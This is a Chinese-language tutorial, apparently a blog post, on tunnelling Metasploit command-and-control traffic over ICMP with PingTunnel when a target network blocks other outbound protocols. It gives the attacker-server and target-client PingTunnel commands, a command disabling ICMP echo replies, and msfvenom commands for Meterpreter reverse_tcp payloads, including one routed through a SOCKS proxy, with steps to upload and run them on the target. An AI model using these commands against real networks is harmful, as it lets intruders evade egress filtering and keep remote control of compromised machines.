通过Pingtunnel搭建ICMP隧道上线

简介: 假如实战环境中,其他协议都不能出网,唯一的突破口为ICMP协议(也就是ping出网),那么可利用ICMP隧道达到上线

一、实战环境简述

假如实战环境中,其他协议都不能出网,唯一的突破口为ICMP协议(也就是ping出网),那么可利用ICMP隧道达到上线


本次实验环境:

目标udp、dns、http等协议都不可出网,ICMP可以出网,遂搭建ICMP隧道达到上线的目的,可利用工具有:imcpsh、ptunnel、还有本文将使用的PingTunnel(利用GO语言开发,可以把tcp/udp/sock5流量伪装成icmp流量进行转发)




二、构建ICMP隧道转发tcp-->上线

1、环境配置

①服务端(攻击者vps)


echo 1 >/proc/sys/net/ipv4/icmp_echo_ignore_all  #关闭原本的icmp应答


启动程序,设置type为服务端


./pingtunnel -type server -noprint 1 -nolog 1

后面两个参数是不打印详细信息出来


②客户端(目标机器)


pingtunnel.exe -type client -l 127.0.0.1:4444 -s 服务端的ip -t c2服务器的ip:4444 -tcp 1 -noprint 1 -nolog 1

后面两个参数是不打印详细信息出来



2、上线msf

①生成反向payload


msfvenom -p windows/meterpreter/reverse_tcp lhost=127.0.0.1(目标本地ip) lport=4444(监听的端口) -f exe -o icmp.exe


上传到目标并执行,即可上线

此时的流量走向:pingtunnel服务端-->pingtunnel客户端本地4444--->pingtunnel服务端本地4444



2、上线cobaltstrike

暂时没弄出来.....之后再补上吧




三、构建ICMP隧道socks-->上线

①启动程序,设置type为服务端


./pingtunnel -type server -noprint 1 -nolog 1

后面两个参数是不打印详细信息出来


②客户端(目标机器)


pingtunnel.exe -type client -l 127.0.0.1:4444 -s 服务端的ip -sock5 1 -noprint 1 -nolog 1

后面两个参数是不打印详细信息出来


③msf生成支持socks的payload


msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.2(服务端ip) LPORT=4444 HttpProxyType=SOCKS HttpProxyHost=127.0.0.1(客户端ip) HttpProxyPort=4444(监听的端口) -f exe -o socks.exe


④上传到目标并执行,即可上线

此时的流量走向:pingtunnel客户端本地4444的socks代理-->pingtunnel服务端-->pingtunnel服务端本地4444



因为在icmp客户端本地4444通过icmp隧道搭建起了一个socks代理,只要内网中其他机器能访问到icmp客户端,同样可以利用此隧道达到上线,生成payload只需要把127.0.0.1改成icmp客户端实际ip即可

目录
相关文章
|
11月前
|
网络协议 Shell 网络安全
利用icmpsh建立icmp隧道反弹shell
利用icmpsh建立icmp隧道反弹shell
89 0
|
网络协议 安全 测试技术
内网穿透之icmp隧道搭建+上线CS+环境场景搭建(三)
内网穿透之icmp隧道搭建+上线CS+环境场景搭建
199 0
内网穿透之icmp隧道搭建+上线CS+环境场景搭建(三)
|
网络协议 Shell 网络安全
内网穿透之icmp隧道搭建+上线CS+环境场景搭建(二)
内网穿透之icmp隧道搭建+上线CS+环境场景搭建
297 0
内网穿透之icmp隧道搭建+上线CS+环境场景搭建(二)
|
安全 网络协议 Shell
内网穿透之icmp隧道搭建+上线CS+环境场景搭建(一)
内网穿透之icmp隧道搭建+上线CS+环境场景搭建
722 0
内网穿透之icmp隧道搭建+上线CS+环境场景搭建(一)
|
域名解析 网络协议 安全
【内网安全-隧道技术】SMB、ICMP、DNS隧道、SSH协议
【内网安全-隧道技术】SMB、ICMP、DNS隧道、SSH协议
648 0
【内网安全-隧道技术】SMB、ICMP、DNS隧道、SSH协议
|
安全 Shell Python
[web安全]ICMP隧道小记
[web安全]ICMP隧道小记
125 0
[web安全]ICMP隧道小记
|
7月前
|
网络协议 网络架构
网络协议与攻击模拟-05-ICMP协议
网络协议与攻击模拟-05-ICMP协议
50 0
|
8月前
|
网络架构
ICMP协议(Internet控制消息协议)
本文详细的介绍ICMP协议,内含详细的实例解析,该文你值得拥有。
|
8月前
|
Linux C语言 C++
Linux ICMP协议实现:C/C++编程指南
ICMP(Internet Control Message Protocol)是网络通信中的重要协议,用于在IP网络中传递错误消息和诊断信息。在Linux系统中,我们可以使用C/C++编程语言来实现基本的ICMP功能,例如发送ICMP回显请求(Ping)和解析ICMP消息。本文将带您深入了解C/C++实现的ICMP协议,包括套接字编程、构造ICMP报文、发送和接收ICMP消息等,以及提供实际的代码示例。
475 1